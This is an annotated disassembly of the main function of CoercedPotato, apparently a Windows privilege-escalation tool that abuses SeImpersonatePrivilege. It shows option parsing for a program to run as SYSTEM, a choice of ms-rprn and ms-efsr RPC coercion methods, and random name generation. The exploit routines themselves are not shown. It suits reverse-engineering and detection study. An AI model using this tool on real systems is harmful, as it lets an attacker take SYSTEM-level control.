Function at 0x140024580
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x17e0
call fcn.140032c70
sub rsp, rax
mov rax, qword [0x140050028]
xor rax, rsp
mov qword [rsp + 0x17d0], rax
mov rdi, rdx
mov ebx, ecx
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____________________________________________Hack0ura__Prepouce
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140029240
mov rcx, rax
lea rdx, [0x14002ab20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x340
lea rcx, [rsp + 0x100]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor r15d, r15d
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
xor r8d, r8d
lea rdx, [0x1400368b3]
lea rcx, [rsp + 0x60]
call fcn.14002c160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea r8d, [r15 + 0x7e]
lea rdx, str.CoercedPotato_is_an_automated_tool_for_privilege_escalation_exploit_using_SeImpersonatePrivilege_or_SeImpersonatePrimaryToken.
lea rcx, [rsp + 0x30]
call fcn.14002c160
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x100]
call fcn.140010920
nop
cmp ebx, 1
jne 0x14002479b
lea rcx, str.Use___help_to_show_all_usefull_information._r_n
call fcn.140001550
lea rcx, str.____Exiting..._r_n
call fcn.140001550
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
mov r8d, 0x2b
lea rdx, str.Program_to_execute_as_SYSTEM__i.e._cmd.exe_
lea rcx, [rsp + 0x30]
call fcn.14002c160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, 0xc
lea rdx, str._c___command
lea rcx, [rsp + 0x60]
call fcn.14002c160
nop
lea r9, [rsp + 0x30]
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x100]
call fcn.14002b190
mov byte [rax + 0x20], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
mov r8d, 0x4e
lea rdx, str.Optionnal_interface_to_use__default_:_ALL___Possible_values_:_ms_rprn__ms_efsr
lea rcx, [rsp + 0x30]
call fcn.14002c160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, 0xe
lea rdx, str._i___interface
lea rcx, [rsp + 0x60]
call fcn.14002c160
nop
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x100]
call fcn.14002b190
mov rsi, 0xffffffffffffffff
mov dword [rsp + 0x8c], esi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
mov r8d, 0x2aa
lea rdx, str.Optionnal_exploit_ID__Only_usuable_if_interface_is_defined___n____ms_rprn_:__n____0__RpcRemoteFindFirstPrinterChangeNotificationEx___n____1__RpcRemoteFindFirstPrinterChangeNotification___n____ms_efsr__n____0__EfsRpcOpenFileRaw___n____1__EfsRpcEncryptFileSrv___n____2__EfsRpcDecryptFileSrv___n____3__EfsRpcQueryUsersOnFile___n____4__EfsRpcQueryRecoveryAgents___n____5__EfsRpcRemoveUsersFromFile___n____6__EfsRpcAddUsersToFile___n____7__EfsRpcFileKeyInfo____NOT_WORKING_n____8__EfsRpcDuplicateEncryptionInfoFile___n____9__EfsRpcAddUsersToFileEx___n____10__EfsRpcFileKeyInfoEx____NOT_WORKING_n____11__EfsRpcGetEncryptedFileMetadata___n____12__EfsRpcEncryptFileExSrv___n____13__EfsRpcQueryProtectors___n
lea rcx, [rsp + 0x30]
call fcn.14002c160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea r8d, [rsi + 0xf]
lea rdx, str._n___exploitId
lea rcx, [rsp + 0x60]
call fcn.14002c160
nop
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x8c]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x100]
call fcn.14002b380
mov byte [rsp + 0x88], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea r8d, [rsi + 0x52]
lea rdx, str.Force_all_RPC_functions_even_if_it_says_Exploit_worked___Default_value_:_false_
lea rcx, [rsp + 0x30]
call fcn.14002c160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea r8d, [rsi + 0xb]
lea rdx, str._f___force
lea rcx, [rsp + 0x60]
call fcn.14002c160
nop
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x100]
call fcn.14002b570
mov byte [rsp + 0x89], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea r8d, [rsi + 0x68]
lea rdx, str.Set_wether_the_process_should_be_run_within_the_same_shell_or_open_a_new_window.__Default_value_:_true_
lea rcx, [rsp + 0x30]
call fcn.14002c160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea r8d, [rsi + 0xe]
lea rdx, str.__interactive
lea rcx, [rsp + 0x60]
call fcn.14002c160
nop
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x89]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x100]
call fcn.14002b570
nop
mov r8, rdi
mov edx, ebx
lea rcx, [rsp + 0x100]
call fcn.140012e50
nop
lea rdi, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 0x10
cmovae rdi, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0xc0]
inc rbx
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.1400321b8
mov r14, rax
mov qword [rsp + 0xd0], r15
lea rcx, [rbx - 1]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xd0]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x17c4], 0xffffffff
mov dword [rsp + 0x444], eax
mov edx, 1
mov r9d, 0x270
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x444], eax
inc rdx
cmp rdx, r9
jb 0x140024b10
mov dword [rsp + 0x440], r9d
lea rax, [rsp + 0x448]
nop
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
btr r8d, 0x1f
xor r8d, dword [rax - 4]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
and edx, 0x9908b0df
shr r8d, 1
xor edx, r8d
xor edx, dword [rax + 0x630]
mov dword [rax + 0x9bc], edx
lea rax, [rax + 4]
sub r9, 1
jne 0x140024b40
mov ecx, dword [rsp + 0x440]
mov edx, dword [rsp + rcx*4 + 0x444]
inc ecx
mov dword [rsp + 0x440], ecx
mov eax, edx
shr eax, 0xb
and eax, dword [rsp + 0x17c4]
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov ebx, edx
shr ebx, 0x12
xor ebx, edx
inc ebx
mov eax, 0x51eb851f
mul ebx
shr edx, 3
imul ecx, edx, 0x19
sub ebx, ecx
movsxd rcx, ebx
inc rcx
mov eax, 2
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400321b8
mov rsi, rax
mov rdi, r15
movsxd rbx, ebx
test rbx, rbx
jle 0x140024c3b
lea r12, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
lea rcx, [rsp + 0x440]
call fcn.140025270
mov r8d, eax
mov eax, 0x4104105
mul r8d
mov ecx, r8d
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
imul ecx, ecx, 0x3f
sub r8d, ecx
movzx eax, word [r12 + r8*2]
mov word [rsi + rdi*2], ax
inc rdi
cmp rdi, rbx
jl 0x140024c00
mov word [rsi + rbx*2], r15w
mov rdx, rsi
lea rcx, [rsp + 0xd8]
call fcn.1400271c0
nop
mov qword [0x140054c00], r14
movzx eax, byte [rsp + 0x89]
mov dword [0x140050044], eax
mov rdi, qword [rsp + 0xa0]
test rdi, rdi
jne 0x140024e9e
mov eax, dword [rsp + 0x8c]
cmp eax, 0xffffffff
je 0x140024cb2
mov edx, eax
lea rcx, [0x140038bd8]
call fcn.140001550
lea rcx, str.Please_use_rpcInterface_parameter_before_defining_exploitId.__r_n
call fcn.140001550
lea rcx, str.____Exiting..._r_n
call fcn.140001550
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.140027310
mov rbx, rax
mov qword [rsp + 0x58], rax
movzx edi, byte [rsp + 0x88]
mov esi, dword [rsp + 0x8c]
lea rcx, str.___RUNNING_ALL_KNOWN_EXPLOITS._r_n_n
call fcn.140001550
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140027310
mov r9, rax
movzx r8d, dil
mov edx, esi
mov rcx, r14
call fcn.1400243c0
test eax, eax
je 0x140024d0e
test dil, dil
je 0x140024d2d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140027310
mov r9, rax
movzx r8d, dil
mov edx, esi
mov rcx, r14
call fcn.140024090
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140024d6c
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140024d67
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140024e97
mov rcx, r8
call fcn.1400321b0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rsp + 0xf0]
cmp rdx, 8
jb 0x140024dc5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024dbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024fa8
call fcn.1400321b0
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x140024e08
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024e03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024fef
call fcn.1400321b0
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x140024e67
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024e62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002505d
call fcn.1400321b0
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0x100]
call fcn.140010f10
xor eax, eax
jmp 0x140025091
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, [rsp + 0x90]
mov rbx, qword [rsp + 0xa8]
cmp rbx, 0x10
setae sil
cmovae rcx, qword [rsp + 0x90]
cmp rdi, 7
jne 0x140024f07
mov r8, rdi
lea rdx, str.ms_rprn
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140024f07
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.140027310
mov r9, rax
movzx r8d, byte [rsp + 0x88]
mov edx, dword [rsp + 0x8c]
mov rcx, r14
call fcn.1400243c0
jmp 0x140024f61
lea rcx, [rsp + 0x90]
test sil, sil
cmovne rcx, qword [rsp + 0x90]
cmp rdi, 7
jne 0x140024f69
mov r8, rdi
lea rdx, str.ms_efsr
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140024f69
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.140027310
mov r9, rax
movzx r8d, byte [rsp + 0x88]
mov edx, dword [rsp + 0x8c]
mov rcx, r14
call fcn.140024090
mov rbx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xf0]
cmp rdx, 8
jb 0x140024fbc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024faf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024faf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400321b0
mov rbx, qword [rsp + 0xa8]
cmp rbx, 0x10
jb 0x140024ffb
lea rdx, [rbx + 1]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024ff6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400321b0
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x140024e67
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024e62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024e62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rsp + 0x90]
call fcn.14000bcf0
nop
lea rcx, [rsp + 0xb0]
call fcn.14000bcf0
nop
lea rcx, [rsp + 0x100]
call fcn.140010f10
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x17d0]
xor rcx, rsp
call fcn.140031900
mov rbx, qword [rsp + 0x1820]
add rsp, 0x17e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret